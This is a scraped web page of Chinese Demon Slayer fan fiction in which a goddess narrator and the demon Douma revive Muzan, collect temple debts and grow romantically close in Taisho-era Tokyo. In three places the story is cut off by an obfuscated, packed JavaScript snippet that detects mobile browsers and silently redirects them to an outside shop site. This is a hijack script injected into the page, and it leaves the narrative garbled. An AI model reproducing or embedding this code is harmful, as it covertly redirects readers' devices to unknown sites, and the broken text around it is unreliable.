门口大摇大摆走进来一只笑嘻嘻的鬼,有点好奇地打量着屋里的陈设。 “好久没来人类家里做客了哦,诶诶,这好像是电灯?” 我无语地看着一只活了两百年的鬼开始跟小孩子一样开开关关的玩灯,感觉自己的脸又开始抽搐了。 “童磨大人你有没有在听啊,鬼杀队在一年前就已经解散了。” “解散了?也不奇怪,毕竟他们死的没多少人了嘛。” 那只鬼开始在书架上翻来翻去。 “你在干嘛?不要乱翻别人东西啦!” “找到啦~” 鬼从一本像日志一样的书里翻出一张泛黄的符纸,依稀能看到上面用血画的符咒。 “是鬼血的味道哦。曾经在无限城决战时闻见过,让我想想,啊,这和珠世那个女人的血味道一样哦。” 我皱起眉,“珠世已经下地狱了,这是她的血鬼术?” “不是哦,鬼死掉的话血鬼术也会消失,这个孩子应该是珠世的眷属,而且还活着呢。” 我想了想,说,“这样吧,我去找一下那位富冈先生,童磨大人去见见珠世小姐的这位眷属,咱们分头行动,等我拿到产屋敷家的位置就传给你,在那里汇合。你当心点,不要大意。” “诶?又要工作嘛?之前都说好了要去那个什么三越来着…” “下班再去啦!人类都是下了班才去商店街的!” 我在赤坂的一间小料亭里见到了那位村田口中的鬼杀队“水柱”。 看起来是位相当俊朗的青年,周身的气息也非常沉静稳重,他披着浅色的羽织,坐在一个不起眼的角落里,面前放着一碗… 一碗鲑鱼炖萝卜? 不过看起来很好吃的样子… 我走过去坐在他旁边的位子,料亭老板笑容满面地迎了上来。 “这位小姐一个人吗?小店的炸物和锅物都很受欢迎,需要我给您推荐几样吗?” “谢谢,请给我一份和这位先生一样的就可以。” “好嘞,一人份的鲑鱼萝卜!” 我顺便对那青年笑了笑:“打扰了,您是富冈先生吗?” 水柱转过脸,双眼像是宁静的深湖。 “是,你是哪位?” “我是村田的朋友,他本来说约了您见面,要带我一起来的,结果这个家伙吃坏了肚子,只能我自己来啦。”我边摆好碗筷边说,“我家住在银座那边,在东大文学部读书,马上就要毕业了,村田说您是个好男人,正好家里催我相亲,我就想,不如来见见您?恕我冒昧,您有喜欢的女孩子了吗?” 富冈先生脸上没有表情,拿筷子的手却明显顿了一下,低声说:“村田这家伙…” “啊,冒犯到您了吗?抱歉抱歉,家母总说我个性太冒失,不像个女孩子。” “没有…”青年终于开口了,“请…不要那样想。” 哎呀,没想到鬼杀队的水柱,意外的是个羞涩温柔的人呢。 “富冈先生是做什么工作的呢?”我好奇地问,“村田之前说的神神秘秘的,说是个类似武士那样的组织,呵呵,这个时代还有那样的地方吗?” 我那份鲑鱼炖萝卜也端上来了,我夹了一筷子鱼肉放进嘴里,发现了新天地。 “哇,这个好好吃!没想到富冈先生还是个美食家呢!” 男人脸上依然没什么反应,只是点了点头:“你喜欢就好。“ “刚刚说到哪了?对了,您的工作…” “的确是…类似那样的组织,但已经退役了。” “您是军人吗?”我兴奋地说,“家父也在军队任职,请问您……产屋敷家现在住在什么地方呢?” 水柱毫无防备,湖水般明澈的眼神忽然变得迷茫。 他说出了东京郊外的一个地名。 “我知道了。”我点点头,“谢谢您啦,您真是个好人。不过您不会记得我来找过您,富冈先生。” 我朝料亭老板招招手:“老板,麻烦帮我打包这份萝卜鲑鱼。” 天色已经完全暗下来了,古朴的院落里亮起了几盏瓦斯灯,灯光摇曳中,我看到房间中有个男孩子的身影正在伏案写着什么。 已经是四月,院子里种着大片的紫藤花,在夜色中散发出阵阵香气。因为童磨的缘故,我对这花多少有点厌恶,片刻也不想多呆,于是悄无声息地顺着檐廊走了进去。 “彼方,你看我写的…” 男孩子转过身来,见到我,马上露出了警觉的神色。 “你是什么人?” 他冷静的语气一点不像这个年纪的孩子。 “你是产屋敷辉利哉?”我惊讶道,“比我想象的要年纪小呢,你多大啦?” “你到底是谁?打算做什么?” “是吗,刚刚九岁啊…”我微笑起来,“父母和姐姐们都死了,只剩下你了吗?真是不容易啊,但也就是说,你八岁就指挥了无限城决战?” 我在他面前蹲下,凝视着男孩的眼睛: “辉利哉,告诉我,复仇的感觉是怎样的?” “你…你在说什么?”男孩的脸色苍白,额上全是冷汗,但依然死死的盯着我,“我妹妹在哪…” “不愧是神官家族的血脉啊,竟然能多少抵御我的意念压制吗?”我微笑道,“放心,我不会伤害你的,你会拥有相当长的寿命,能活到八十岁呢,也会儿孙满堂,度过幸福的一生。” “我认识一个孩子,他失去父母时和你一样大,也是一个人担负起了家业,是个聪明又善良的孩子。可惜…他被你们猎鬼人杀了。” 我轻轻叹了口气,“所以我想问你,复仇的感觉是怎样的?啊,我明白了,你觉得那只是履行正义,完成父辈的托付,是吗?辉利哉,杀戮就是杀戮,并没有所谓正义的杀戮,人对人,人对鬼,鬼对人…所有杀戮都是一样的。” “你…你在胡说些什么?是鬼先杀人,人才要讨伐鬼…”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14252368|151568||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“真是个顽强的孩子啊。你说的没错,但鬼吃人仅仅是为了活下去,人杀人又是为了什么呢?人将人逼迫成鬼,又是为什么呢?” “辉利哉,这只是因果循环罢了,你们只能看到鬼吃人,却看不见鬼为何变成鬼。人类曾经欠下的因果,要由人类来偿还。” 我轻轻拍了下手,斩断了他脖子后方的金色丝线。 “天生的预知力啊…也是神明的棋子。但你和你的后代不会再做这样的棋子,你会做个平凡的人,度过美满的一生。这是神明给你的祝福。” 男孩的身体晃了晃,无声地软倒在地上。 “小染这边已经结束了吗?好快。” 门口传来童磨的声音,我回过头去,见他一手抱着一个女孩子走了进来,嘴角沾着新鲜的血。 “味道很不错哦,这家的孩子。”他舔了舔嘴角,满意地说。 “……童磨大人,我要说多少遍…” “诶呀诶呀,没有杀死她们啦,只是一点血而已嘛,人家刚刚吃过晚饭了。” 他把两个长得一模一样的小女孩放在地上,笑眯眯地看着她们。 “不过肉质真的很棒呢,当作点心也不错。啊,好像有点玩过头,这一个快没有呼吸了哦,好可怜呀。” 恶鬼亮出四颗尖锐的獠牙,朝我露出一个血淋淋的天真笑脸。 “小染,我可以吃掉她嘛?这么可爱的女孩子,别浪费了呀。” “……不能吃,我还有用。” 我走到那奄奄一息的少女面前,拿出那颗血红色的石头,将它放在少女断了半边的脖子上。 石头上啪的裂开一道缝隙,里面的鬼王之血顷刻便沿着动脉钻进了少女的体内。女孩的脸和身体上忽然冒出了无数肉块,肉块翻腾涌动的,吞噬和重组着这具躯体。 片刻之后,一个黑发的男人出现在女孩刚刚躺过的位置,在满月之光下,睁开了一双血色的眸子。 “欢迎回来,无惨大人。”我微笑道。 男人坐起身来,环视了一下房间里的情况,在看到童磨时,瞳孔骤然收缩。 “你…给我滚远一点。” “大人,您这是什么话,人家一直惦念着您呢。”童磨挂上一副伤心的表情,“我们可是信守了承诺,将您从地狱里带回来了呀。” “谁知道你们这是又打的什么算盘?”鬼王眯起眼睛,冷冷地看着我,“白姬小姐,你想借我的手铲除产屋敷全家吗?” “恰恰相反,大人,您忘记了我们那个关于蛰伏五十年的约定吗?我希望您代替这个小姑娘,叫彼方还是什么的,暂时生活在这里一段时间。” “你在开玩笑吗?你让我生活在猎鬼人的眼皮底下?” 我轻轻对他鞠躬道:“您的拟态一向出色,应该可以隐藏起自己的身份吧,况且鬼杀队已经在一年前解散了,要是您连这点事都无法忍耐,我们以后也就没有合作的必要了。” “在产屋敷家族生活,充分了解您的对手,在适当的时候夺回属于您的一切。到了那时,鬼的时代就会来临。” “白姬小姐,你当我是傻子?”鬼王冷笑道,“我没法在白天外出,你以为这些人看不出来?” “关于这个,我有样小礼物要送给您,作为我们日后合作的定金。” 我猛的从身后拿出一束花塞进他手里,“铛铛铛!惊喜不惊喜?” 鬼王梅红色的瞳孔瞬间收缩。 “这是……” “我已经吃过啦,是真的哦~”童磨在旁边兴高采烈地说。 无惨大人望着手中那束在月光下散发出青蓝色光芒的花,脸上的表情说不清是震惊、喜悦,还是痛苦和纠结。 大概是千年来累积的感情太过复杂,他的脸扭曲了几下,攥紧了花束,咬牙切齿地冒出几个字: “你们两个…都给我滚!” “诶呀呀,大人,我们完全可以理解您的心情呢,但您不要哭嘛~” “滚!!!” 92. 终章:花(9) 工作太认真的结果是,回到城里一看,三越百货早就打烊了。 按人类的时间已是半夜,正是百鬼夜行之时,于是我拽着一只鬼,蹲在浅草的路边吃关东煮。 我吃,他看。 童磨大人从江户时代起就被信徒们当成“人间的神明”伺候了两百年,大概根本没来过这种路边摊,所以看我吃什么他都挺新鲜。 “试试吗?这个萝卜鲑鱼可好吃了!”我打开早已冷掉的外带盒子,“我看那个水柱点了这个,就试着也点了一份,没想到味道特别好。” “人家才不要吃那种东西呢,做人类时就最讨厌鱼了。”那只鬼一边托着腮看我吃,一边还不忘抱怨,“就像玉壶阁下的脑子一样难吃。” “你也太挑食了…还有别人吃东西的时候不要提起玉壶阁下的脑子,谢谢。”我看了看四周的摊子,“有了,你等等。” 片刻之后,我拿回来两串甜酱油团子,递给他一串。 “尝尝这个。” 鬼无动于衷地看着我:“小染是故意的吧,鬼是没法吃人类的食物的。” “童磨大人,这就是你的胆量问题了。”我一本正经地说,“你连七百倍的紫藤花毒都说吃就吃,吃个酱油团子又不会死。” 童磨眯起眼睛,握着扇子轻轻在我头上敲了一下,“挑唆的话在我这里是没用的哦。” “本来就是嘛,你在地狱里都吃了那么多乱七八糟的东西,还有青色彼岸花…” 说着就看那只鬼真的咬了一口团子。 我连忙说:“没关系的,就算尝不出味道也…” “是甜的哦。” 他突然说。 “是…甜的呢。” 他惊讶地看着我,重复了一遍。 不知道是正赶上满月,还是什么原因,那双冰面般波澜不惊的眼睛里,多了某种极为生动的色彩。 那一刻,仿佛没顶的黑暗终于退去,时光倒流回两百年前,在荒川神社门口的夜市上,七岁的小男孩拿着一串酱油团子,人生第一次知道了什么是甜。 “对,这就是甜的味道。” 我望着他,微笑道。 “世上还有很多种味道,我们有的是时间,可以慢慢品尝。” 鬼的嘴角微微上挑,似乎努力的想要给予我一个真实的微笑。 和当年的那个孩子一样,他说: “好哦。” 月光映在神明之子洁白无垢的长发上,头顶的最后一抹血色,不知何时已消失不见。 “诶呀!既然这样的话…” 下一秒这个家伙忽然像是想起了什么天大的好事,朝着摊主笑嘻嘻地招手喊道: “老板,有酒吗?” 就算我活了几百年,也没见过这么能喝的鬼。 一边说着“这酒也太差劲了嘛”一边硬拉着我喝到了快天亮,导致我彻底不省人事,完全不知道自己是怎么回到极乐寺的。 这不怪我,不管是做人还是做神,我都没喝过酒这种东西,但禁不住那只鬼的诱惑,被灌了一杯又一杯,最后差点一头栽进没吃完的关东煮里。 醒来时已经天光大亮,室内熏了伽罗香。好在神灵不会宿醉,只是感觉全身上下连头发丝都散发着酒味。 我是个水神啊…如果现在下场雨,会不会是酒雨? 想到这里我打了个激灵,立刻清醒了不少。 还好还好,是在自己的房间,衣服也… 这浴衣又是哪来的啊?! 正当我拼命回忆昨天到底是怎么换的衣服时,门外传来了山田的声音。 “荒川小姐,您醒了吗?” “啊…醒了醒了,请稍等片刻!” 我迅速把自己收拾出个像样的样子,套上了二尺振袖和行灯袴,才站起来拉开了门。 山田先生跪坐在檐廊上,捧着个很大的彩绘漆盘,上面盖着淡黄的和纸。他身旁竟然还有个看上去稚气未脱的小姑娘,面前的地上放着一只冒着热气的木盆。 “请、请二位进来吧。” 山田带着那女孩子进了我的房间,女孩在我面前坐好,有点羞涩地双手递给我一块热毛巾。 “这是…” “抱歉,忘了向您介绍,这是芥子,是在寺里长大的孩子,父母早就过世了,是教主大人收留了她。教主大人说荒川小姐缺个女侍,我就带她来了。” 我皱眉:“我不需要什么女侍,我自己也是来给教主大人当女侍的呀,哪有麻烦你们的道理?” 山田恭恭敬敬地说:“教主大人说了,芥子从小失去父母,是纯洁又可怜的女孩子,就请荒川小姐大发善心收下她吧,要不就只能送她前往极乐净土了。” ……这什么人啊?! “还有这个,”他将那只绘着花鸟的精致漆盘拿了过来,揭开了上面的和纸,“教主大人说,荒川小姐既然要出面为教团工作,就应该有个工作的样子,总穿女学生的衣服是不合适的,所以还请您收下这个。” 漆盘里是一件暗红的色无地振袖,腰带用的是极为华美的西阵织,以金线和银线绣满了飞散的千本樱。 “这…这衣服太贵重了,我不能要。”我结结巴巴地说,“而且我也没打算在这里住太久,大学已经开学了,神乐坂的工作结束后我就要回去…” 山田没说话,而是恭恭敬敬地递给我一只信封。 这又是什么? 我疑惑地从信封里抽出一张折成几叠的纸,打开一看,抬头写着“地券”二字,第二行写的是“荒川神社”。 是一张东京府的地契,末尾盖着万世极乐教的朱印。 “教主大人说,这是您欠教里的钱,所以请务必努力工作,争取早日还清。” “……” 我实在忍不住,拿着那张地契不顾形象的捶地大笑起来,像个傻瓜一样笑出了眼泪。 笑完了我才想起来问:“教主大人他人呢?“ “教主大人主持完早课就去听信徒的祷告了,现在还没结束,他说请您醒了就打起精神去工作吧,还命我陪您一起去,以便督促您不要偷懒。” ……这个斤斤计较的鬼! 我深深感到自己被那位聪明又善良的神明之子给算计了,只能仰天长叹。 “那我就…恭敬不如从命吧。” 我,一个神灵,无论如何也想不到,有一天会沦落到拿着算盘跟米店老板你来我往唇枪舌战的地步。 简直就像个花街收债的,妓夫太郎做的那种! “一…二…还有五家啊…” 我回到路边,看见山田先生开着那辆颇为亮眼的红色洋车缓缓跟了过来,不禁发自内心地叹了口气。 没错,正当我感叹这鬼一看就是脱离人类生活太久,这么一身衣服根本没法走山路的时候,山田先生带着我从小路绕了几个弯,穿过一片茂密的枫林,竟然找到了一条下山的石头路,路边停着的就是这玩意,亮闪闪的车头上还有四个金属字母。 F.O.R.D。 我在城里见洋人开过车,但是看了看身边 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14252369|151568||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这位不苟言笑的山田先生,还是默默捏了把汗。 “山田先生…您连这个…也学过?” 山田先生严肃地点了点头:“教主大人说,为了救治有伤病的信徒,这门技能也是身为护教的职责中所必需的。这样万一需要请个医生什么的,也比较方便,如此也可向信徒体现神明的慈悲。” ……山田君,这种鬼话您也信啊?谁家请医生需要这种连头灯都是黄铜打的华丽敞篷车啊?! 话说这鬼是有多喜欢红色啊?! 好在收帐的结果还不错,大概是因为有洋车撑腰,加上神乐坂开的都是些老店,讲究诚信为本,也不至于赖账。剩下几家周转不开的店都跟我书面约定了交账的日期,这一整天总算没白跑。 我让山田先生送我去一趟罗斯林咖啡馆,跟我的洋人老板辞工。 咖啡馆的生意依然火爆,保罗在柜台后面和新来的女招待一起擦杯子,看见我先是愣了一下,然后就露出一个大大的笑容。 “荒川小姐,我差点没能认出你来,这身衣服真是太美了!” 我有点不好意思地冲他鞠了一躬。 “不好意思,我其实是来辞职的……” “新工作?”保罗挑眉,“恕我直言,荒川小姐,你看起来不像是找到了新工作,而更像是恋爱了。“ “诶?怎、怎么可能有那种事…”我局促不安地说,“是,是一家寺院啦,在很远的山里,所以不方便每天跑来跑去的…” “荒川小姐,我其实很想劝你不要放弃大学的旁听,以及不要沦为男人豢养的金丝雀。” 身后忽然传来熟悉的声音,我回头一看,惊喜地叫起来: “明子夫人,您今天也在呀?” 明子夫人今天穿了件很是洋气的米色蕾丝羽织,坐在那里朝我微笑颔首。 “家里孩子太吵,我来咖啡馆给报社写稿子。”她笑道,“你看,连我这种新女性都逃不过家庭生活。” “我没打算放弃旁听,等忙过这阵子我还会去大学的。”我认真道,“不过因为现在住的地方太偏僻了,连通信都很困难,所以只能以后有机会再进城来拜访您啦。” “荒川小姐,我是否可以冒昧地问一句…对方是什么样的男人呢?”保罗说,“毕竟你看起来是个聪明的姑娘,不太像容易被几句花言巧语哄骗。” 我看着洋人老板,认真地说: “是个有钱人。” 保罗怔住片刻,随即大笑起来: “你太有趣了,荒川小姐,没想到你是个拜金主义者!” “真的很有钱…”我努力解释道,“而且愿意出钱雇我…” “保罗,不要逗这姑娘了,”明子小姐用英文插嘴道,“她自己都不知道自己全身散发着恋爱的味道。” “诶?您在说什么啊!” 天色渐晚,保罗从店里送我出来,一眼就看到了那辆停在路边等我的车。 “哦,上帝,福特的T型车,这个颜色还没量产呢。” 他促狭地朝我一笑: “看来的确是位有钱人。去吧,荒川小姐,去品尝恋爱的滋味吧。” 我脸上发热,逃一样的上了车。 路边的店铺一家家亮起了暖色的光,咖啡馆半开的门里传出留声机中缠绵悱恻的女声: 人生苦短 少女恋爱吧 趁红唇还未褪去 趁热血尚未冷却 时光一去不复返 大正七年的春天,就这么来临了。 93. 终章:花(10) 刚回到寺里没多久,山田先生就又来了。 彼时我正在房中整理白天神乐坂店铺的账目,见他恭恭敬敬地跪在门口,就预感到没什么好事。 果然,又是来传话的。 “教主大人说,他晚课后要沐浴,请荒川小姐前去侍奉。” 我手里的笔又掉了,只能咳了两声掩饰尴尬。 他泡澡到底关我什么事?之前不是说好了只管账目吗? “那个…容我…问一句,”我小心翼翼地说,“教主大人以前的女侍…也都负责…这件事吗?” 山田先生认真严肃地点了点头。 “这是身为神明之子的女侍最重要的职责,荒川小姐,请您尽快准备吧。“ ……我到底为什么要找这份工作啊? 要不是山田先生带路,我都不知道这极乐寺里还藏着一处温泉。 我想起还在业火地狱时,这鬼莫名其妙地问我泡没泡过温泉,原来是早就奢侈惯了。 外表看上去只是一处普通的院落,但里面简直像个迷宫,在拐了无数个弯后,山田先生将我带到一扇门前,端给我一只漆盘,就一言不发地退下了。 我低头看了一眼盘子里的东西。 浴衣,木梳,熏香的小香炉…等等,为什么还有酒啊? 这鬼过的到底是有多讲究? 我硬着头皮问了一句: “那个,我能进去了吗?” “小染来了吗?“门里传出某只鬼特有的轻快语气,“快进来吧,人家在等你呢~” 我拉开门,迎面就被水汽和酒气扑了一脸。 屋里的温泉池子倒是不大,但正对着一处封闭的庭院,院内以白沙铺地,只点缀了松树和一些灌木,竟是一处布置精巧的枯山水。 ……下地狱真是委屈您了啊,童磨大人。 鬼倚在池子边,一手拿了只酒杯,见我就欢快地招手。 “正好喝完了,就等小染的酒啦~” “童磨大人,你一天到底能喝多少酒啊?”我只好走过去放下盘子,把陶瓶里的酒加满,“都不会醉的吗?” “不会哦,我还是人类时酒量就很好呢~”童磨一副习以为常的样子,“啊,果然还是寺里珍藏的酒好喝呀,已经有百年没尝到这个味道了,真是令人怀念呐~” 我无奈地摇摇头,在香炉里点燃了伽罗香,放在屋子的一角,然后拿了条丝带走过去。 “头发都掉进水里了,帮你扎起来啦。” 鬼一边任由我摆弄他的长发,一边笑嘻嘻地说,“那辆洋车怎么样?漂亮吧?” “你还好意思说,我听咖啡馆的老板说了,那车的价钱可不低,童磨大人真是不知柴米贵。”我忍不住抱怨,“你知道现在市面上大米都涨到多少钱了吗?一石已经快要到20元了哦,我听神乐坂那边的人都在议论这样下去要吃不起饭了。” “那就是又要开始了哦。” “什么又要开始了?” “抢米嘛,每隔几十年人类总要闹一次。上次差不多还是明治年的事了。”大概是泡澡泡的舒服,鬼的语气相当惬意,“让山田告诉跟我们比较熟的店吧,就说是我说的,在夏天之前找个合适的价格把米全都处理掉,不然到时候很可能会被抢的哦。” “没想到你还挺会做买卖!“我惊讶地说,“你从哪学的这些乱七八糟的啊?” “赚钱的事信徒们都喜欢问嘛,以前有几个幕府的旗本也经常提起这些,他们和卖米的联合起来抬高价格,总想着多赚一点,最后把人逼急了反倒得不偿失。”童磨喝着酒,淡然道,“所以说,人类的欲望真是愚蠢的很呐。” “说到这个,我那位洋人老板因为收购骨董,认识不少使馆的人和政府的高官,甚至还有华族,我想去结识下这些人,万一以后有用得着的地方呢。”我说,“听说最近内阁已经决定了要和英吉利国合作出兵西伯利亚,往后几年大家的日子应该都不会太好过。” “小染愿意去就去吧,人类的日子越不好过,就越是需要神明的救赎嘛。”鬼微笑道,“但人家并不打算在这边待太久呢,现在想想还是更喜欢京都,可能过段时间会回去哦。” “啊,我还没有去过京都呢!”我兴奋起来,“你在那边还有房子吗?” “当然啦,小时候是在那边长大的嘛,家里的寺院一直有派人维护呢,就是要比这座小一点啦。” “……你这有钱人。对了,还没感谢童磨大人帮我买下了神社的地呢,谢谢你啦。” “要感谢人家,光嘴上说说可不行呀。” 鬼忽然抓住我的手腕,轻轻贴近嗅了一下,“神明大人要有实际一点的奖励哦~” 我的脸腾的烫了起来,比喝了酒还夸张。 “随、随便你。” “那我就不客气啦~” 鬼的獠牙瞬间撕开了我腕上的血管,开始大口吸吮我的血液,不知道是不是喝多了酒,没吸几口,他竟抓住我的手臂用力一扯,直接将我扯到了怀里。 温热的、带着酒香的水瞬间淹没了我,等到回过神来,童磨的尖牙已经划开了我的颈侧,狠狠的咬了下去。 死亡般的失血感伴随着迅速的再生,加上浓郁的酒气,使我浑身发热,一阵阵眩晕。但那种感觉又好像沉浸在梦幻中,身体紧贴着男人结实的胸膛,他的手托着我的后脑,手指插进我的长发,将我的脸按在他的肩膀上。 血的味道,酒的味道,伽罗香的味道,莲花的味道,在烛火摇曳的室内混合成无法形容的妖冶风光。不知是谁的心脏跳的如同擂鼓,血液在全身沸腾,仿佛夏季泛滥的河川,那首莫名的小调在我脑海中回旋了一遍又一遍: 人生苦短 少女恋爱吧 趁红唇还未褪去 趁热血尚未冷却 时光一去不复返 于是不知哪来的勇气,在他暂时停下饮血、扭头看我的一瞬,我捧住他的脸,用尽全力地吻上了他沾满鲜血的双唇。 那双虹色的桃花眼微微睁大,似乎有一瞬间的惊讶,但很快像只狐狸似的眯了起来。 “诶呀呀,一年没见,小染的胆子变大了不少嘛,这是从哪里学的呀?洋人那里吗?” “什么洋人,当然是跟你学的啊!”我大声说,“是你先对我做这种事的,这是回礼!” 天呐,我在说什么呀? “哈哈哈哈,很不错哦!”鬼大笑起来,“我的白姬小姐终于长大啦!” “但仅仅这一点胆量,是不够的哦~” “诶?还不够吗?我、我可不是吉原的游女…” “错啦,”鬼轻轻用食指点了点我的嘴唇,“小染怎么也得是个太夫啊,人家可是最喜欢吃太夫了~” 我听的一头雾水,“可是听说花魁的身价是很高的,就那么被你拖走吃了,没人怀疑吗?” “小染的脑子还真是不灵光呀,在吉原,没有用钱买不到的东西,花魁说到底也只是高级的游女罢了。况且有小堕姬在,狩猎是很方便的哦,所以人家才会搬到江户嘛…” 这话越听越别扭,于是我认真地盯着他说: “那我不要做太夫了,童磨,我要跟你恋爱!” 童磨的表情停滞了一瞬,随即又笑了起来。 “好呀~”他温柔地说,“那咱们就试试看吧。” 恋爱都应该做些什么事,我完全不知道。 但应该不包括…我眼前这种。 望着桐木柜子里一排排女人的头骨,我感觉后背泛起了一股凉意。 …… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14252370|151568||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这怨气也太强烈了点。 “小染,是找不到嘛?我记得就放在…诶呀,被你发现啦?” 童磨的声音从身后传来,他披着浴衣,懒洋洋的倚在门边。 “烟杆在桌上。”我说,“拿走抽你的烟去,这里我要做个净化。” “诶诶?不要弄坏人家的收藏哦~”鬼立刻抗议道,“你看,这位是枝子小姐,你在地狱里见过她哦,这位是小絮子,这位是小美津,这位是…惠子小姐还是小玲奈来着…她们都是我以前的女侍哦,很可爱对不对?对了对了,这个壶还是玉壶阁下送我的呢,很漂亮吧?” 我忍无可忍地说:“童磨大人,你看不见这屋里的怨气都已经快要溢出来了吗?要不要我共享视觉给你看?” “小染这么说的话…好像也有道理哦?毕竟她们就算去了极乐,也无法理解人家的善举嘛。”鬼无辜地说,“不过就算有怨气又怎样呢?她们都已经死啦~” 我摇摇头:“亡者的灵魂虽然不在这里了,但怨气还在,就会给你制造麻烦,吸引人发现你做的事。如果我没猜错的话,你就是在这里被琴叶抓到在吃人的吧?” 鬼仿佛轻轻叹了口气。 “又被小染猜中啦。本来以为这地方不容易被发现,谁知道小琴叶的感觉很敏锐呢,无论人家怎么解释也不听…” “……算了,抽你的烟去吧。” “那就拜托小染啦~”鬼欢快地说,“我等你过来喝酒哦~” 完事后我拉好门,又在门上加了个隐蔽用的法术,才沿着走廊回到刚才的庭院里去。 童磨坐在檐廊下,白皙修长的手指间夹着一杆乌木镶银的烟杆,那烟杆泛着墨玉似的光泽,一看就是江户时的物件。 我走过去靠着柱子坐下。山里的夜异常安静,只有漫天星斗璀璨,庭院中的松枝随风轻摇,传来阵阵松塔和苔藓特有的清香。 “枯园垂雪说的就是这里哦。”他开口说道,“到了冬天的时候,那棵树上会落满白雪,很漂亮呢。“ “看不出童磨大人还是个富有诗意的人呢。”我笑道,“但你屋子里那些女孩子,有机会的话还是让她们安息了吧。” “小染,我错了吗?” 我转过头,发现他并没看我,只是目光有些空洞地望着那在月光下仿佛落了大雪的庭院。 “我一直觉得给予那些女孩子救赎是件好事呢,毕竟她们一点也不幸福呀,像小琴叶那样的女孩子简直太多啦,她们就算活着也是挨打受罪,为什么不愿意去极乐呢?” “因为每个人活在世上都有自己的幸福啊,只是童磨大人不知道而已。”我轻声说,“琴叶那样爱她的孩子,为了孩子,她能一个人雪夜跑进深山来向你求助,为了孩子,她更敢拼上性命逃离你,作为女人,作为母亲,这本身就是一种守护幸福的勇气呀。童磨大人也是一样的,要找到自己觉得幸福的事,才能感受到活着的意义哦。” “可幸福是什么样的感觉呢?我活了百年,还是说不清哦。” “幸福就像是…那串酱油团子,是温暖和甜蜜的味道。”我望着星空说道,“我们可以慢慢来,总有一天…” 腿上忽然一沉,我低下头,发现那只鬼枕在了我的膝上,像个孩子似的心满意足地闭上了眼睛,长发像白雪散落在月色下。 “那我明白啦,幸福是小染的味道哦。” 万籁俱寂,只余心跳声,这是我们走过暗夜,活在世上的证明。 我不由得微笑起来。 “那就请童磨大人好好享受幸福的滋味吧。” *大正米骚动:1918年,日本全国爆发了一场规模达200万人的超级民间运动。目标直指当时不断飞腾的大米价格,以及众多被指囤积库存的奸商。米骚动的名称便来源于此。 94. 终章:花(11) 于是在打理极乐教的日常事务之余,我开始拜托保罗帮我约见他所认识的官员和议员,由我拿着拜贴挨个拜访,当然,对方见到来访者是个女人,多少都会吃一惊,甚至露出轻视的神色,一份令人印象深刻的见面礼这时就起到关键作用了,毕竟无论什么时候,人类都喜欢钱。 童磨大人在这方面显得相当慷慨,不,与其说是慷慨,不如说他活了两百年,对钱的具体数目已经没什么概念。为此我衷心感谢山田先生家的每一代护教和曾经的女侍们流传下来的记账好习惯,要不是他们,没人知道聪明善良的教主大人都能把钱花到什么地方去。 “礼物吗?小事而已,就让山田带你去寺里的库房挑吧。说起来,之前无惨大人不准我的教会太过引人注目,所以很久没和那些人打交道啦。” 童磨刚结束寺里的早课,披着法袍拿着经书从经堂里出来,看起来像个特别称职的神明之子,不过下一句话就暴露了本性。 “呐呐,小染下午要去做什么呀?人家也想一起去~” 我想了想,“我要和保罗一起陪田中议员吃午餐,下午的话,要不让山田先生回来接你,我们去墨堤赏樱?听说今年的八重樱开的特别好呢。” “好呀!那就这么决定啦~” 只要是凑热闹的事,这鬼一概来者不拒。 于是我在山田先生的引领下走进了极乐寺后面的一间不起眼的偏殿,打开那扇古朴的木门之后,我就愣在了原地。 “这全都是…江户时的东西?” 山田先生低头恭敬地说:“是的,教主大人慈悲为怀,挂念他的每个信徒,因此百年来信徒们供奉的礼物都好好的保存在这里,接受神明之子的祝祷,请荒川小姐将教主大人的慈悲之心传递给那位议员吧。” ……明明就是他玩腻了丢在这里连自己都忘了吧。 越过一排排放满经书和字画的木架子,我走向立在墙角的那半人高的青铜乌木箪笥,随便拉开一层,发现里面全是些漆盒之类的小玩意,但每件都极为精美,我从中拿起一件唐草纹莳绘镜笥,上面的漆色依然金光闪耀,一看就是用了真正的金粉,又发现几只以金银丝编织而成、镶嵌着翠玉和珍珠的印笼,只觉得被晃瞎了眼,一时不知道该选哪个才好。 拉开下一层,里面都是念珠,黑檀或水晶的珠子间夹着一颗颗雪白的硨磲、朱红的珊瑚以及五光十色的琉璃,即使在昏暗的室内也像那只鬼的眼睛一样熠熠生光。 又拉开一层,这次是茶具和香炉,皆是做工精巧,不知出自京都哪位名家之手,里面竟然混着一只藏六家的鎏金纯银香炉,顶盖是镂空菊花纹,是在幕府大名家也难得一见的珍品。 我默默合上抽屉,深深地吸了口气。 金钱的味道,真香。 